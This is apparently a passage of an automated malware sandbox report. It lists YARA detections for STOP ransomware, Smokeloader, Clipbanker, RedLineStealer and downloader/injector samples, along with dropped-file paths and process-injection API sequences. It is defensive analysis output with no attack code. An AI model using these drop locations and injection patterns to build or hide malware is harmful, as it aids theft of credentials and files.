Source: 0000001B.00000002.493740298.00000000024C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000004.00000002.445573902.0000000000700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000001E.00000002.477942290.0000000001001000.00000020.00000001.01000000.00000016.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000001E.00000002.477942290.0000000001001000.00000020.00000001.01000000.00000016.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000004.00000002.445509996.00000000006F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000005.00000002.442867169.0000000002690000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000028.00000000.480111248.00000000009B1000.00000020.00000001.01000000.0000001A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000028.00000000.480111248.00000000009B1000.00000020.00000001.01000000.0000001A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000004.00000002.446406704.00000000022D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000D.00000002.450548636.0000000002490000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000010.00000002.617846506.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000010.00000002.617846506.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000010.00000002.617846506.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000001C.00000002.491035809.0000000002460000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000001D.00000002.489556428.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 0000001D.00000002.489556428.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000001D.00000002.489556428.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000022.00000002.483526399.0000000002410000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000001B.00000002.490286812.0000000002380000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000018.00000002.478487593.00000000008C8000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000019.00000002.474131384.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000000.00000002.380107918.00000000023F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000006.00000002.449975040.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000006.00000002.449975040.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000006.00000002.449975040.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000D.00000002.450667818.0000000002530000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000005.00000002.442702951.00000000024A5000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000013.00000002.617779609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000013.00000002.617779609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000013.00000002.617779609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000022.00000002.482578416.0000000000887000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000001A.00000002.488867120.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 0000001A.00000002.488867120.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000001A.00000002.488867120.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: D804.exe PID: 2560, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: D804.exe PID: 772, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: D804.exe PID: 1340, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: D804.exe PID: 6088, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: D804.exe PID: 128, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: D804.exe PID: 4528, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: B46F.exe PID: 4928, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: B46F.exe PID: 2576, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: A170.exe PID: 1868, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: D804.exe PID: 1264, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\build3[1].exe, type: DROPPED	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\build3[1].exe, type: DROPPED	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe, type: DROPPED	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe, type: DROPPED	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build3.exe, type: DROPPED	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build3.exe, type: DROPPED	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: C:\Users\user\AppData\Roaming\07c6bc37dc5087\cred64.dll, type: DROPPED	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\cred64[1].dll, type: DROPPED	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
Source: C:\Users\user\AppData\Local\Temp\9F31.exe, type: DROPPED	Matched rule: MALWARE_Win_DLInjector04 author = ditekSHen, description = Detects downloader / injector
Source: C:\Users\user\AppData\Local\Temp\5DA0.exe, type: DROPPED	Matched rule: MALWARE_Win_DLInjector04 author = ditekSHen, description = Detects downloader / injector
Source: C:\Users\user\AppData\Local\Temp\3C54.exe, type: DROPPED	Matched rule: MALWARE_Win_DLInjector04 author = ditekSHen, description = Detects downloader / injector
Source: C:\Users\user\AppData\Local\Temp\6FA9.exe, type: DROPPED	Matched rule: MALWARE_Win_DLInjector04 author = ditekSHen, description = Detects downloader / injector

Source: C:\Users\user\AppData\Local\Temp\D804.exe

Code function: String function: 00407404 appears 35 times

Source: C:\Users\user\Desktop\01860199.exe	Code function: 0_2_00401558 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401558
Source: C:\Users\user\Desktop\01860199.exe	Code function: 0_2_00401749 NtMapViewOfSection,NtMapViewOfSection,	0_2_00401749
Source: C:\Users\user\Desktop\01860199.exe	Code function: 0_2_00401564 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401564
Source: C:\Users\user\Desktop\01860199.exe	Code function: 0_2_00401577 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401577
Source: C:\Users\user\Desktop\01860199.exe	Code function: 0_2_00401523 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401523
Source: C:\Users\user\Desktop\01860199.exe	Code function: 0_2_00401585 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401585
Source: C:\Users\user\Desktop\01860199.exe	Code function: 0_2_0040158C NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_0040158C
Source: C:\Users\user\Desktop\01860199.exe	Code function: 0_2_0040159A NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_0040159A
Source: C:\Users\user\AppData\Roaming\hwgujdv	Code function: 4_2_00401558 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	4_2_00401558
Source: C:\Users\user\AppData\Roaming\hwgujdv	Code function: 4_2_00401749 NtMapViewOfSection,NtMapViewOfSection,	4_2_00401749
Source: C:\Users\user\AppData\Roaming\hwgujdv	Code function: 4_2_00401564 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	4_2_00401564
Source: C:\Users\user\AppData\Roaming\hwgujdv	Code function: 4_2_00401577 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	4_2_00401577
Source: C:\Users\user\AppData\Roaming\hwgujdv	Code function: 4_2_00401523 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	4_2_00401523
Source: C:\Users\user\AppData\Roaming\hwgujdv	Code function: 4_2_00401585 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	4_2_00401585
Source: C:\Users\user\AppData\Roaming\hwgujdv	Code function: 4_2_0040158C NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	4_2_0040158C
